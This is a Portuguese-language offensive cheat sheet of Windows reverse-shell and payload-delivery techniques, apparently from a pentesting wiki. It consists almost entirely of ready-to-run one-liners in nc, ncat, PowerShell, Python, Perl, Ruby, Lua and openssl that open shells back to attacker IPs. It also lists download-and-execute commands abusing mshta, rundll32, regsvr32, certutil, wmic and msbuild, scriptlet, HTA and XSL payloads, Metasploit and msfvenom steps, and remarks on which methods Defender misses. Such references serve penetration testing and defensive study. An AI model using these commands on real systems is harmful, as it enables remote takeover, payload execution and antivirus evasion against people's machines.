22 KiB
Shells - Windows
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Lolbas
A página lolbas-project.github.io é para Windows como https://gtfobins.github.io/ é para Linux.
Obviamente, não existem arquivos SUID ou privilégios sudo no Windows, mas é útil saber como alguns binários podem ser (ab)usados para realizar algum tipo de ações inesperadas, como executar código arbitrário.
NC
nc.exe -e cmd.exe <Attacker_IP> <PORT>
NCAT
vítima
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
atacante
ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --ssl
SBD
sbd é uma alternativa portátil e segura ao Netcat. Funciona em sistemas semelhantes ao Unix e Win32. Com recursos como criptografia forte, execução de programas, portas de origem personalizáveis e reconexão contínua, o sbd oferece uma solução versátil para comunicação TCP/IP. Para usuários do Windows, a versão sbd.exe da distribuição Kali Linux pode ser usada como um substituto confiável para o Netcat.
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444
# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
Python
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
OpenSSH
Atacante (Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
Vítima
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
Powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
Processo realizando chamada de rede: powershell.exe
Payload escrito no disco: NÃO (pelo menos em nenhum lugar que eu consegui encontrar usando procmon!)
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
Processo realizando chamada de rede: svchost.exe
Payload escrito no disco: Cache local do cliente WebDAV
Uma linha:
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Obtenha mais informações sobre diferentes shells do Powershell no final deste documento
Mshta
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta
Exemplo de shell reversa hta-psh (use hta para baixar e executar backdoor PS)
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager hta
exemplo hta
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
mshta - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Mshta - Metasploit
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
Detectado pelo defensor
Rundll32
rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Detectado pelo defensor
Rundll32 - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Rundll32 - Metasploit
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
Rundll32 - Koadic
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
Regsvr32
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
Detectado pelo defensor
Regsvr32 -sct
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Regsvr32 - Metasploit
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager regsvr
Certutil
Baixe um B64dll, decodifique-o e execute-o.
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
Baixe um B64exe, decodifique-o e execute-o.
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Detectado pelo defensor
Cscript/Wscript
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
Cscript - Metasploit
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
Detectado pelo defensor
PS-Bat
\\webdavserver\folder\batchfile.bat
Processo realizando chamada de rede: svchost.exe
Payload escrito no disco: Cache local do cliente WebDAV
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat
Detectado pelo defensor
MSIExec
Atacante
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
Vítima:
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
Detectado
Wmic
wmic os get /format:"https://webserver/payload.xsl"
Exemplo de arquivo xsl a partir daqui:
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>
Não detectado
Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager wmic
Msbuild
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
Você pode usar essa técnica para contornar a Lista de Permissão de Aplicativos e as restrições do Powershell.exe. Como você será solicitado a usar um shell PS.
Basta baixar isso e executá-lo: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
Não detectado
CSC
Compile o código C# na máquina da vítima.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
Você pode baixar um shell reverso básico em C# daqui: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
Não detectado
Regasm/Regsvc
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
Eu não tentei
https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182
Odbcconf
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
Eu não tentei
https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2
Shells do Powershell
PS-Nishang
https://github.com/samratashok/nishang
Na pasta Shells, há muitas shells diferentes. Para baixar e executar Invoke-PowerShellTcp.ps1, faça uma cópia do script e anexe ao final do arquivo:
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
Comece a servir o script em um servidor web e execute-o no lado da vítima:
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
O Defender não o detecta como código malicioso (ainda, 03/04/2019).
TODO: Verificar outras shells nishang
PS-Powercat
https://github.com/besimorhino/powercat
Baixe, inicie um servidor web, inicie o listener e execute-o no lado da vítima:
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
Defender não o detecta como código malicioso (ainda, 03/04/2019).
Outras opções oferecidas pelo powercat:
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
Empire
https://github.com/EmpireProject/Empire
Crie um lançador de powershell, salve-o em um arquivo e faça o download e execute-o.
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
Detectado como código malicioso
MSF-Unicorn
https://github.com/trustedsec/unicorn
Crie uma versão em powershell do backdoor do metasploit usando o unicorn
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
Inicie o msfconsole com o recurso criado:
msfconsole -r unicorn.rc
Inicie um servidor web servindo o powershell_attack.txt e execute na vítima:
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
Detectado como código malicioso
Mais
PS>Attack console PS com alguns módulos PS ofensivos pré-carregados (cifrado)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN console PS com alguns módulos PS ofensivos e detecção de proxy (IEX)
Referências
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- https://gist.github.com/Arno0x
- https://github.com/GreatSCT/GreatSCT
- https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
- https://www.hackingarticles.in/koadic-com-command-control-framework/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
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